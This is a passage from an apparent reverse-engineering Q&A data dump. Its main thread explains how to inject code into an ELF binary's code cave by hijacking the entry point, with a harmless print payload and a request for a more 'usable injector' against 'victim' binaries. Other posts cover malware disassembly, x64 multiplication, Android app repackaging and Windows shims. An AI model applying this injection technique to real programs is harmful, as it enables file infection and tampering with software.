offset &amp;quot;1000:...&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Well it worked !!!&lt;/p&gt;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;&lt;p&gt;BEFORE &lt;em&gt;running the script&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c5uog.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5uog.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;AFTER:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xnnql.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xnnql.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30100" LastEditorUserId="30100" LastEditDate="2020-11-27T22:06:26.140" LastActivityDate="2020-11-27T22:06:26.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26386" PostTypeId="1" AcceptedAnswerId="26387" CreationDate="2020-11-28T12:04:37.420" Score="3" ViewCount="1945" Body="&lt;p&gt;I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would.&lt;/p&gt;&#xA;&lt;p&gt;To actually execute code in the code cave I tried two different approaches, both of which result in sigsegv.&lt;/p&gt;&#xA;&lt;p&gt;First one was changing entry point to the start of the code cave. The second one was &amp;quot;stealing&amp;quot; some of the first instructions from the original code and write jump to my code cave there and then after executing my injected code I would first execute stolen instructions and then jump to the instruction after the last stolen one in the original program.&lt;/p&gt;&#xA;&lt;p&gt;I am also changing the access flags for the section, in which code cave resides.&lt;/p&gt;&#xA;&lt;p&gt;Here are some screenshots of debugging the program in gdb:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IHC5I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHC5I.png&quot; alt=&quot;Instructions at entry point - 0x555555556156 is the address of code cave&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wpJzp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpJzp.png&quot; alt=&quot;Instructions in the code cave - executing stolen ones and jumping back&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KikfO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KikfO.png&quot; alt=&quot;Executing the code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And here are the flags for the section the code cave is in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[19]     0x555555556058-&amp;gt;0x555555556160 at 0x00002058: .eh_frame ALLOC LOAD READONLY CODE HAS_CONTENTS&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the Valgrind output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I6P0g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6P0g.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So is there a way to actually allow the execution of code in this section.&lt;/p&gt;&#xA;&lt;p&gt;I also thought about adding new section to the binary and writing my code there. If someone had experience in doing so, I would appreciate the info.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I think I know what my mistake is - I set the executable flag for the section, but the segment it's in isn't executable. But it also seems like the code cave I found doesn't belong to any section, since the start of the code cave is actually the end of one section and the end of the code cave is the start of another section. And there are no other sections in between.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; I changed the code cave to the one, that is in &lt;code&gt;.fini&lt;/code&gt; section, which belongs to executable segment. However I am still confused about the empty space between sections (and segments).&lt;/p&gt;&#xA;&lt;p&gt;Here are the screenshots of the &lt;code&gt;readelf&lt;/code&gt; output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Section Headers:&#xA;  [Nr] Name              Type             Address           Offset&#xA;       Size              EntSize          Flags  Link  Info  Align&#xA;  [ 0]                   NULL             0000000000000000  00000000&#xA;       0000000000000000  0000000000000000           0     0     0&#xA;  [ 1] .interp           PROGBITS         0000000000000318  00000318&#xA;       000000000000001c  0000000000000000   A       0     0     1&#xA;  [ 2] .note.gnu.propert NOTE             0000000000000338  00000338&#xA;       0000000000000020  0000000000000000   A       0     0     8&#xA;  [ 3] .note.gnu.build-i NOTE             0000000000000358  00000358&#xA;       0000000000000024  0000000000000000   A       0     0     4&#xA;  [ 4] .note.ABI-tag     NOTE             000000000000037c  0000037c&#xA;       0000000000000020  0000000000000000   A       0     0     4&#xA;  [ 5] .gnu.hash         GNU_HASH         00000000000003a0  000003a0&#xA;       0000000000000024  0000000000000000   A       6     0     8&#xA;  [ 6] .dynsym           DYNSYM           00000000000003c8  000003c8&#xA;       00000000000000a8  0000000000000018   A       7     1     8&#xA;  [ 7] .dynstr           STRTAB           0000000000000470  00000470&#xA;       0000000000000082  0000000000000000   A       0     0     1&#xA;  [ 8] .gnu.version      VERSYM           00000000000004f2  000004f2&#xA;       000000000000000e  0000000000000002   A       6     0     2&#xA;  [ 9] .gnu.version_r    VERNEED          0000000000000500  00000500&#xA;       0000000000000020  0000000000000000   A       7     1     8&#xA;  [10] .rela.dyn         RELA             0000000000000520  00000520&#xA;       00000000000000c0  0000000000000018   A       6     0     8&#xA;  [11] .rela.plt         RELA             00000000000005e0  000005e0&#xA;       0000000000000018  0000000000000018  AI       6    24     8&#xA;  [12] .init             PROGBITS         0000000000001000  00001000&#xA;       000000000000001b  0000000000000000  AX       0     0     4&#xA;  [13] .plt              PROGBITS         0000000000001020  00001020&#xA;       0000000000000020  0000000000000010  AX       0     0     16&#xA;  [14] .plt.got          PROGBITS         0000000000001040  00001040&#xA;       0000000000000010  0000000000000010  AX       0     0     16&#xA;  [15] .plt.sec          PROGBITS         0000000000001050  00001050&#xA;       0000000000000010  0000000000000010  AX       0     0     16&#xA;  [16] .text             PROGBITS         0000000000001060  00001060&#xA;       0000000000000185  0000000000000000  AX       0     0     16&#xA;  [17] .fini             PROGBITS         00000000000011e8  000011e8&#xA;       000000000000000d  0000000000000000  AX       0     0     4&#xA;  [18] .rodata           PROGBITS         0000000000002000  00002000&#xA;       0000000000000012  0000000000000000   A       0     0     4&#xA;  [19] .eh_frame_hdr     PROGBITS         0000000000002014  00002014&#xA;       0000000000000044  0000000000000000   A       0     0     4&#xA;  [20] .eh_frame         PROGBITS         0000000000002058  00002058&#xA;       0000000000000108  0000000000000000   A       0     0     8&#xA;  [21] .init_array       INIT_ARRAY       0000000000003db8  00002db8&#xA;       0000000000000008  0000000000000008  WA       0     0     8&#xA;  [22] .fini_array       FINI_ARRAY       0000000000003dc0  00002dc0&#xA;       0000000000000008  0000000000000008  WA       0     0     8&#xA;  [23] .dynamic          DYNAMIC          0000000000003dc8  00002dc8&#xA;       00000000000001f0  0000000000000010  WA       7     0     8&#xA;  [24] .got              PROGBITS         0000000000003fb8  00002fb8&#xA;       0000000000000048  0000000000000008  WA       0     0     8&#xA;  [25] .data             PROGBITS         0000000000004000  00003000&#xA;       0000000000000010  0000000000000000  WA       0     0     8&#xA;  [26] .bss              NOBITS           0000000000004010  00003010&#xA;       0000000000000008  0000000000000000  WA       0     0     1&#xA;  [27] .comment          PROGBITS         0000000000000000  00003010&#xA;       000000000000002a  0000000000000001  MS       0     0     1&#xA;  [28] .symtab           SYMTAB           0000000000000000  00003040&#xA;       0000000000000618  0000000000000018          29    46     8&#xA;  [29] .strtab           STRTAB           0000000000000000  00003658&#xA;       0000000000000202  0000000000000000           0     0     1&#xA;  [30] .shstrtab         STRTAB           0000000000000000  0000385a&#xA;       000000000000011a  0000000000000000           0     0     1&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;Program Headers:&#xA;  Type           Offset             VirtAddr           PhysAddr&#xA;                 FileSiz            MemSiz              Flags  Align&#xA;  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040&#xA;                 0x00000000000002d8 0x00000000000002d8  R E    0x8&#xA;  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318&#xA;                 0x000000000000001c 0x000000000000001c  R E    0x1&#xA;      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]&#xA;  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000&#xA;                 0x00000000000005f8 0x00000000000005f8  R E    0x1000&#xA;  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000&#xA;                 0x00000000000001f5 0x00000000000001f5  R E    0x1000&#xA;  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000&#xA;                 0x0000000000000160 0x0000000000000160  R E    0x1000&#xA;  LOAD           0x0000000000002db8 0x0000000000003db8 0x0000000000003db8&#xA;                 0x0000000000000258 0x0000000000000260  RWE    0x1000&#xA;  DYNAMIC        0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8&#xA;                 0x00000000000001f0 0x00000000000001f0  RWE    0x8&#xA;  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338&#xA;                 0x0000000000000020 0x0000000000000020  R E    0x8&#xA;  NOTE           0x0000000000000358 0x0000000000000358 0x0000000000000358&#xA;                 0x0000000000000044 0x0000000000000044  R E    0x4&#xA;  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338&#xA;                 0x0000000000000020 0x0000000000000020  R E    0x8&#xA;  GNU_EH_FRAME   0x0000000000002014 0x0000000000002014 0x0000000000002014&#xA;                 0x0000000000000044 0x0000000000000044  R E    0x4&#xA;  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000&#xA;                 0x0000000000000000 0x0000000000000000  RWE    0x10&#xA;  GNU_RELRO      0x0000000000002db8 0x0000000000003db8 0x0000000000003db8&#xA;                 0x0000000000000248 0x0000000000000248  R E    0x1&#xA;&#xA; Section to Segment mapping:&#xA;  Segment Sections...&#xA;   00     &#xA;   01     .interp &#xA;   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt &#xA;   03     .init .plt .plt.got .plt.sec .text .fini &#xA;   04     .rodata .eh_frame_hdr .eh_frame &#xA;   05     .init_array .fini_array .dynamic .got .data .bss &#xA;   06     .dynamic &#xA;   07     .note.gnu.property &#xA;   08     .note.gnu.build-id .note.ABI-tag &#xA;   09     .note.gnu.property &#xA;   10     .eh_frame_hdr &#xA;   11     &#xA;   12     .init_array .fini_array .dynamic .got &#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As can be seen, section .fini starts at &lt;code&gt;11e8&lt;/code&gt; and has the size of &lt;code&gt;d&lt;/code&gt;. The next section - .rodata starts at &lt;code&gt;2000&lt;/code&gt;. Does that mean that the space between &lt;code&gt;11e8 + d&lt;/code&gt; and &lt;code&gt;2000&lt;/code&gt; does not belong to any section? That segment also ends at &lt;code&gt;11F5&lt;/code&gt;, which is the end of last section belonging to it - &lt;code&gt;.fini&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3:&lt;/strong&gt; managed to solve the problem - had to choose the section, that belongs to the executable segment. Still a bit confused about the sizes of sections.&lt;/p&gt;&#xA;&lt;p&gt;Actually managed to inject the code into the binary, however, I got the instructions from an assembly, which only has &lt;code&gt;.text&lt;/code&gt; section:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text&#xA;.globl _start&#xA;_start:&#xA;  #save the base pointer&#xA;  pushq %rbp&#xA;  pushq %rbx&#xA;  mov %rsp,%rbp&#xA;&#xA;  #write syscall = 1&#xA;  movq $1, %rax&#xA;  #print to stdout&#xA;  movq $1, %rdi&#xA;  #9 character long string&#xA;  movq $9, %rdx&#xA;&#xA;  # push &amp;quot;INJECTED\n&amp;quot; to the stack  &#xA;  movq $0x0a, %rcx&#xA;  pushq %rcx&#xA;  movq $0x44455443454a4e49, %rcx&#xA;  pushq %rcx&#xA;&#xA;  movq %rsp, %rsi&#xA;&#xA;  syscall&#xA;&#xA;  #remove the string&#xA;  pop %rcx&#xA;  pop %rcx&#xA;&#xA;  movq $0, %rax&#xA;  movq $0, %rdi&#xA;  movq $0, %rdx&#xA;&#xA;  &#xA;  pop %rbx&#xA;  pop %rbp&#xA;  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It prints &amp;quot;INJECTED&amp;quot; before the original program execution. While this kind of payload works, what are other ideas of implementing better and actually usable injector? Maybe with the possibility of calling &lt;code&gt;libc&lt;/code&gt; functions or some other library functions, that are linked by our victim binary? Because it seems like getting actual instruction from the code, we would like to inject, is kind of pain in the ass.&lt;/p&gt;&#xA;" OwnerUserId="35050" LastEditorUserId="35050" LastEditDate="2020-11-28T22:05:11.000" LastActivityDate="2020-11-29T14:42:04.960" Title="ELF binary injection" Tags="|linux|c|gdb|elf|injection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26387" PostTypeId="2" ParentId="26386" CreationDate="2020-11-28T13:09:44.973" Score="3" Body="&lt;p&gt;When executing ELF files, the OS loader does not care about sections but only segments (aka program headers). You need to ensure your code belongs to an executable segment.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As can be seen, section .fini starts at 11e8 and has the size of d.&#xA;The next section - .rodata starts at 2000. Does that mean that the&#xA;space between 11e8 + d and 2000 does not belong to any section? That&#xA;segment also ends at 11F5, which is the end of last section belonging&#xA;to it - .fini.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, the space between 11F5 and 2000 is a kind of &amp;quot;no man's land&amp;quot;. In theory, the bytes there would not be present in the memory. However, in practice, the memory protections and mappings work on a page granularity (0x1000) so these bytes &lt;em&gt;are&lt;/em&gt; mapped into memory and made executable so your patch works. To make everything &amp;quot;legit&amp;quot; it may be better to extend the segment length so it extends up to 2000.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-11-29T14:42:04.960" LastActivityDate="2020-11-29T14:42:04.960" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26388" PostTypeId="1" CreationDate="2020-11-28T13:43:24.027" Score="1" ViewCount="1001" Body="&lt;p&gt;I decompiled a C++ exe file using Snowman, hoping to see if it was malware or not (Although, honestly, I have no clue how to continue that - The file is really large, and the decompilation mostly gibberish)&lt;/p&gt;&#xA;&lt;p&gt;It resulted in a pretty big chunk of code, most of which obviously had no proper variables names attributed to it anymore; Instead, variables and functions were either named like the assembly registers they belong to, or by some hex name, or by some number/char combination that did not particularly look like hex.&lt;/p&gt;&#xA;&lt;p&gt;However, part of the code somehow still had proper names, although they all seemed to be system functions: DrawRect, RegCreateKeyExA, DefWindowProcA, SHBrowseForFolderA, and so on - plenty of calls that seem to interact with the system.&lt;/p&gt;&#xA;&lt;p&gt;Does that mean that the decompilation preserved Windows system calls, but not the names of functions/variables created by the developer of the file?&#xA;If so, what should I do next to be able to see whether the file could have malicious intent or not?&lt;/p&gt;&#xA;&lt;p&gt;It might also be noteworthy to say that the file I'm looking at is a Nullsoft Installer - So technically, a lot of the decompiled code is just overhead, when I actually want to look at what it installs and not the installer itself.&lt;/p&gt;&#xA;" OwnerUserId="35055" LastEditorUserId="35055" LastEditDate="2020-11-28T13:59:06.913" LastActivityDate="2020-11-29T23:16:01.437" Title="Why does decompiling a C++ using Snowman yield some full variable names and some obfuscated ones?" Tags="|assembly|decompilation|c++|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26389" PostTypeId="1" CreationDate="2020-11-29T08:51:19.803" Score="1" ViewCount="64" Body="&lt;p&gt;Pasting a snippet of code I found inside a malware sample.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0040F695    push ecx                    &#xA;0040F696    lea ecx,dword ptr ss:[esp+8]&#xA;0040F69A    sub ecx,1000                &#xA;0040F6A0    sub eax,1000                &#xA;0040F6A5    test dword ptr ds:[ecx],eax &#xA;0040F6A7    cmp eax,1000                &#xA;0040F6AC    jae sample.40F69A           &#xA;0040F6AE    sub ecx,eax                 &#xA;0040F6B0    mov eax,esp                 &#xA;0040F6B2    test dword ptr ds:[ecx],eax &#xA;0040F6B4    mov esp,ecx                 &#xA;0040F6B6    mov ecx,dword ptr ds:[eax]  &#xA;0040F6B8    mov eax,dword ptr ds:[eax+4]&#xA;0040F6BB    push eax                    &#xA;0040F6BC    ret                                                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am not sure what the test instruction achieves here. I am used to seeing a conditional jump right after it. But here there is a test, cmp and then a conditional jump and also a test followed by no jumps. Would it make any difference if the test instructions were omitted?&lt;/p&gt;&#xA;" OwnerUserId="15582" LastActivityDate="2020-11-29T08:51:19.803" Title="Is there a meaning to the test instruction if it isnt followed by a conditional jump?" Tags="|assembly|x86|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26390" PostTypeId="1" CreationDate="2020-11-29T11:57:44.570" Score="1" ViewCount="3753" Body="&lt;p&gt;I'm completely new in malware reverse engineering. I'm stuck in a confusion that,&lt;/p&gt;&#xA;&lt;p&gt;I studied that in x32, mul instruction multiplies the source with eax register and store the result as 64 bit value across two registers i.e. EDX:EAX. EDX stores most significant bit of 32 bits of operation and EAX do the same. So, my question is what happens in x64? how the values are stored in RAX:RDX after multiplication. I also ping the Google but did'nt understand much. I hope you all will respond.&lt;/p&gt;&#xA;" OwnerUserId="34958" LastEditorUserId="24222" LastEditDate="2020-11-30T08:34:25.490" LastActivityDate="2020-11-30T08:34:25.490" Title="Mul(Multiplication) in x64 and in x32 assembly" Tags="|binary-analysis|x86|malware|amd64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26391" PostTypeId="2" ParentId="26383" CreationDate="2020-11-29T11:59:07.257" Score="2" Body="&lt;p&gt;Some Routers use a NVRAM for storing settings. That would give you exactly this result: No writable partitions but some binary is taking care of reading and writing to that NVRAM (wherever that might be). Check if there's anything called nvread, nvconf or something like that.&lt;/p&gt;&#xA;&lt;p&gt;If that's not successful you can always try to find a binary that uses a configurable option, load it into a Disassembler and see what's going on there.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-11-29T11:59:07.257" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26392" PostTypeId="2" ParentId="26390" CreationDate="2020-11-29T12:51:58.957" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; Page 1320&lt;/p&gt;&#xA;&lt;p&gt;The result is stored in register AX, register pair DX:AX, or register pair EDX:EAX (depending on the operand size),&#xA;with the high-order bits of the product contained in register AH, DX, or EDX, respectively. If the high-order bits of&#xA;the product are 0, the CF and OF flags are cleared; otherwise, the flags are set.&#xA;In 64-bit mode, the instruction’s default operation size is 32 bits. Use of the REX.R prefix permits access to addi-&#xA;tional registers (R8-R15). Use of the REX.W prefix promotes operation to 64 bits.&#xA;See the summary chart at the beginning of this section for encoding data and limits.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RoFsw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RoFsw.png&quot; alt=&quot;mul table&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It can be seen with this sequence of instructions&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov rdx, 0x1234567890abcdef&#xA;mov rax, 0x100&#xA;mul rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After the last instruction&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$rax   : 0x34567890abcdef00&#xA;$rdx   : 0x12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;RDX&lt;/code&gt; has the upper 64 bits as expected.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-11-29T12:51:58.957" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26393" PostTypeId="1" CreationDate="2020-11-29T17:46:35.140" Score="1" ViewCount="56" Body="&lt;p&gt;I have tried repackaging few financial apps and when I tried running their repackaged version, I found out that either it is getting crashed at the launcher activity, or at the later point it is getting crashed.&lt;/p&gt;&#xA;&lt;p&gt;I have a doubt that how the developers of these financial apps make their app more secure against repackaging?&lt;/p&gt;&#xA;&lt;p&gt;Is &lt;em&gt;&lt;strong&gt;signature checking&lt;/strong&gt;&lt;/em&gt; the only way, developer will use as an anti-repackaging measure or is there any other way which developer can use?&lt;/p&gt;&#xA;&lt;p&gt;Are the developers using any existing framework which automatically makes their app more secure?&lt;/p&gt;&#xA;" OwnerUserId="34884" LastEditorUserId="34884" LastEditDate="2020-11-30T04:12:27.117" LastActivityDate="2020-11-30T04:12:27.117" Title="Protection of Financial Apps against repackaging" Tags="|android|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26394" PostTypeId="2" ParentId="6260" CreationDate="2020-11-29T23:13:12.873" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The easiest way to see if a compatibility SHIM is applied, is to examine the Process Environment Block (PEB) of the process and check __COMPAT_LAYER environment variable if it is set. If it's set it will have space delimited name of SHIMs applied. You can do this with a tool such as &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Explorer&lt;/a&gt;, &lt;a href=&quot;https://processhacker.sourceforge.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Hacker&lt;/a&gt; right clicking the  EXE when running, selecting Properties and checking Environment tab. You can also find this with &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg&lt;/a&gt; with &lt;strong&gt;!peb&lt;/strong&gt; command when attached to the process.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can view the compatibility database as well as create/test your own SHIM settings with the Application Compatibility Toolkit, which is part of the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/get-started/adk-install&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows ADK&lt;/a&gt; Using Compatibility Administrator you can view/create SHIMs. This tool is located at &amp;quot;C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe&amp;quot; for 32-bit processes and &amp;quot;C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Application Compatibility Toolkit\Compatibility Administrator (64-bit)\Compatadmin.exe&amp;quot; for 64-bit processes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;You can automatically query the app compat database yourself via the APIs referenced in Microsoft's &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/devnotes/application-compatibility-database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application Compatibility Database Developer Notes&lt;/a&gt; or use this open source app &lt;a href=&quot;https://github.com/heaths/sdb2xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sdb2Xml&lt;/a&gt; If you find in the first step you are having SHIMs applied then this query in the database will help you identify why. The databases are located in  C:\Windows\apppatch and C:\Windows\apppatch\CustomSDB and have SDB file extension. If you can rename the EXE or change the version info on the EXE so it doesn't match in the database will stop it from getting the SHIM. You can also try hooking at lower level APIs (sometimes undocumented) to ensure you are not overwritten by SHIMs, although this needs a low level understanding.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This may not work depending on the applications anti-debugging techniques, but I have been able to work out complicated hooking issues using the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Time Travel Debugging feature of WinDbg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-11-29T23:13:12.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26395" PostTypeId="2" ParentId="26388" CreationDate="2020-11-29T23:16:01.437" Score="2" Body="&lt;p&gt;In general, the compilation process removes most of the information not necessary for actual execution. This usually includes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;comments&lt;/li&gt;&#xA;&lt;li&gt;local and global variable names&lt;/li&gt;&#xA;&lt;li&gt;local (to the program) function names&lt;/li&gt;&#xA;&lt;li&gt;any code deemed dead (not being executed in any situation)&lt;/li&gt;&#xA;&lt;li&gt;code exhibiting undefined behavior&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The names you are observing are &lt;em&gt;Windows API&lt;/em&gt; names; because they are referred by the name, this information has to be kept for the binary to run successfully. All other names are usually removed.&lt;/p&gt;&#xA;&lt;p&gt;Note: the API names can also be imported by a numerical &lt;em&gt;ordinal&lt;/em&gt; in which case the name can be removed ; however this is not common on Win32 since ordinal numbers tend to change from version to version (it &lt;em&gt;was&lt;/em&gt; common name on  Win16).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-29T23:16:01.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26396" PostTypeId="2" ParentId="15765" CreationDate="2020-11-29T23:36:32.187" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Checked if the EXE and all related DLLs are built for the same platform. (Don't mismatch 32-bit and 64-bit)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the target operating system version has not been exceeded as referenced in the Windows PE header. In your case it seems to be targeted at Windows NT 4.0 (4.0)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check you are not missing any runtimes referenced by the import table with a tool such as &lt;a href=&quot;https://www.dependencywalker.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;depends&lt;/a&gt; Commonly this would be missing .NET frameworks or Visual C/C++ runtimes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure a valid &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Subsystem&lt;/a&gt; is targeted, in this case WINDOWS_GUI looks OK.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure platform of EXE is supported on your OS i.e. 16-bit won't run on 64-bit Windows, 64-bit won't run on 32-bit Windows.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I would recommend attaching debugger to the process actually calling CreateProcess, as at least some of these errors are triggered from &lt;strong&gt;kernelbase!CreateInternalProcessW&lt;/strong&gt; API, you will see it call &lt;code&gt;RtlSetLastWin32Error(193)&lt;/code&gt; when this error occurs.&lt;/p&gt;&#xA;&lt;p&gt;This particular error seems to be a generic fall back error for any problem during the process creation when there is not a more specific error code.&lt;/p&gt;&#xA;&lt;p&gt;Similar error messages during error process creation include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The %1 application cannot be run in Win32 mode. (error code 129)&lt;/li&gt;&#xA;&lt;li&gt;Cannot run %1 in Win32 mode. (Invalid EXE signature, error code 191)&lt;/li&gt;&#xA;&lt;li&gt;The operating system cannot run %1. (Invalid module type error code 190, EXE marked invalid error code 192, iterated data exceeds 64K error 194, invalid minalloc size error code 195, invalid segment error 198)&lt;/li&gt;&#xA;&lt;li&gt;The operating system cannot run this application program. (error code 196)&lt;/li&gt;&#xA;&lt;li&gt;The operating system is not presently configured to run this application (error code 197)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-30T00:29:09.363" LastActivityDate="2020-11-30T00:29:09.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
